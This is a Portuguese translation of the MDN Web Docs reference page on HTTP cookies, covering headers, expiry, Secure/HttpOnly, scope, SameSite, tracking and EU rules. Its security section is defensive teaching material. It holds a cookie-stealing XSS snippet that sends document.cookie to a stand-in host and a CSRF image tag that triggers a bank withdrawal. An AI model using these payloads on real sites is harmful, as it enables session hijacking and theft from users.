mdn web docs

This page was translated from English by the community. Learn more and join the MDN Web Docs community.

Cookies HTTP

Um cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo HTTP sem estado.

Cookies são usados principalmente para três propósitos:

Gerenciamento de sessão

Logins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor.

Personalização

Preferências de usuário, temas e outras configurações.

Rastreamento

Registro e análise do comportamento de um usuário.

Os cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em

conexões móveis). APIs modernas de armazenamento no cliente são Web storage API (`localStorage` e `sessionStorage`) e IndexedDB.

> **Nota:** Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o Storage Inspector nas Ferramentas de Desenvolvimento e selecionar o item **Cookies** na árvore de armazenamento.

Criando cookies

Ao receber uma requisição HTTP, um servidor pode enviar um cabeçalho `Set-Cookie` com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP `Cookie`. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.

Os cabeçalhos `Set-Cookie` e `Cookie`

O cabeçalho HTTP de resposta `Set-Cookie` envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma:

```
Set-Cookie: <cookie-name>=<cookie-value>
```

Este cabeçalho de servidor informa ao cliente para armazenar um cookie.

> **Nota:** Eis as formas de utilização do cabeçalho `Set-Cookie` em várias aplicações de servidor:- PHP
>
> - Node.JS
> - Python
> - Ruby on Rails

```
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[conteúdo da página]
```

Agora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho `Cookie`.

```
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

Cookies de sessão

O cookie criado anteriormente é um *cookie de sessão*: ele é apagado quando o cliente fecha a sessão, pois não foi especificada uma diretiva `Expires` ou `Max-Age`. Entretanto, navegadores web podem usar **restauração de sessão**, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.

Cookies permanentes

Ao invés de expirar quando o cliente fecha, *cookies permanentes* expiram em uma data específica (`Expires`) ou depois de um período específico de tempo (`Max-Age`).

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

> **Nota:** Quando uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor.

Cookies `Secure` e `HttpOnly`

Um cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva `Secure`, informações confidenciais *nunca* devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece

proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (`http:`) não podem mais configurar cookies com a diretiva `Secure`.

Para se prevenir de ataques *cross-site scripting* (XSS (en-US)), os cookies `HttpOnly` são inacessíveis para a API JavaScript `Document.cookie` (en-US); eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva `HttpOnly` deve ser configurada.

```
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

Escopo dos cookies

As diretivas `Domain` e `Path` definem o *escopo* de um cookie: para quais URLs os cookies devem ser enviados.

A diretiva `Domain` especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o host da localização do documento atual, **excluindo subdomínios**. Se a diretiva `Domain` *é* especificada, então os subdomínios são também incluídos.

Por exemplo, se `Domain=mozilla.org` é configurado, então os cookies são incluídos em subdomínios como `developer.mozilla.org`.

A diretiva `Path` indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho `Cookie` seja enviado. O caractere %x2F ("/") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra.

Por exemplo, se `Path=/docs` é configurado, estes caminhos coincidem:

- `/docs`
- `/docs/Web/`
- `/docs/Web/HTTP`

Cookies `SameSite`

Cookies `SameSite` permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites (CSRF (en-US)).

Cookies `SameSite` são relativamente novos, mas tem suporte nos principais browsers do mercado.

Veja um exemplo:

```
Set-Cookie: key=value; SameSite=Strict
```

O atributo SameSite pode receber um ou dois valores (case-insensitive):

`None`

O navegador irá enviar os cookies tanto para as requisições *cross-site* quanto *same-site*.

`Strict`

Se o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributo `Strict` será incluído.

`Lax`

Se o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo.

O comportamento padrão se a flag não estiver setada ou não sem suporte donavegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin.

Acesso via JavaScript usando `Document.cookie`

Novos cookies podem ser também criados via JavaScript usando a propriedade `Document.cookie` (en-US) e, se a diretiva `HttpOnly` não está configurada, os cookies existentes podem ser acessados pelo JavaScript também.

```
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
```

Consulte as questões de segurança na seção **Segurança** a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS.

Segurança

> **Nota:** Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro.

Sequestro de sessões e XSS

Os cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade XSS (en-US) em uma aplicação.

```
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" +
document.cookie;
```

O atributo `HttpOnly` do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript.

Requisição forjada entre sites (CSRF)

A Wikipedia menciona um bom exemplo de CSRF (en-US). Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro:

```
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
```

Agora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código

HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo:

- Assim como XSS (en-US), filtrar entradas de usuário é importante.
- Sempre deve haver uma confirmação antes de qualquer ação restrita.
- Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito.
- Para mais dicas de proteção, consulte o OWASP CSRF prevention cheat sheet.

Rastreamento e privacidade

Cookies de terceiros

Os cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são *diretos*. Se o domínio é diferente, diz-se que os cookies são *de terceiros*. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os tipos de cookies usados pela Google. Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o Privacy Badger da EFF.

Se você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a declaração de cookies da Fundação Wikimedia, por exemplo.

Cabeçalho Do-Not-Track

Não há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho `DNT` pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho `DNT` para mais informações.

Diretivas da UE para cookies

Os requisitos para cookies na UE (União Europeia) estão definidos na Diretriz 2009/136/EC do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país.

Resumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como *anúncios de cookies*) desde então para informar os usuários sobre o uso dos cookies.

Para mais informações, consulte esta seção da Wikipedia e leis federais para informações atualizadas e precisas.

Cookies zumbi e Evercookies

Uma abordagem mais radical aos cookies são os cookies zumbi ou *Evercookies*, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a API Web storage, Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada.

- Evercookie por Samy Kamkar
- Cookies zumbi na Wikipedia

Veja também

- `Set-Cookie`
- `Cookie`
- `Document.cookie` (en-US)
- `Navigator.cookieEnabled`
- Inspecionando cookies usando o Inspetor de Armazenamento
- Especificação dos cookies: RFC 6265
- Artigo de Nicholas Zakas sobre cookies
- Artigo de Nicholas Zakas sobre cookies e segurança

- Cookies HTTP na Wikipedia

Last modified: 6 de nov. de 2022, by MDN contributors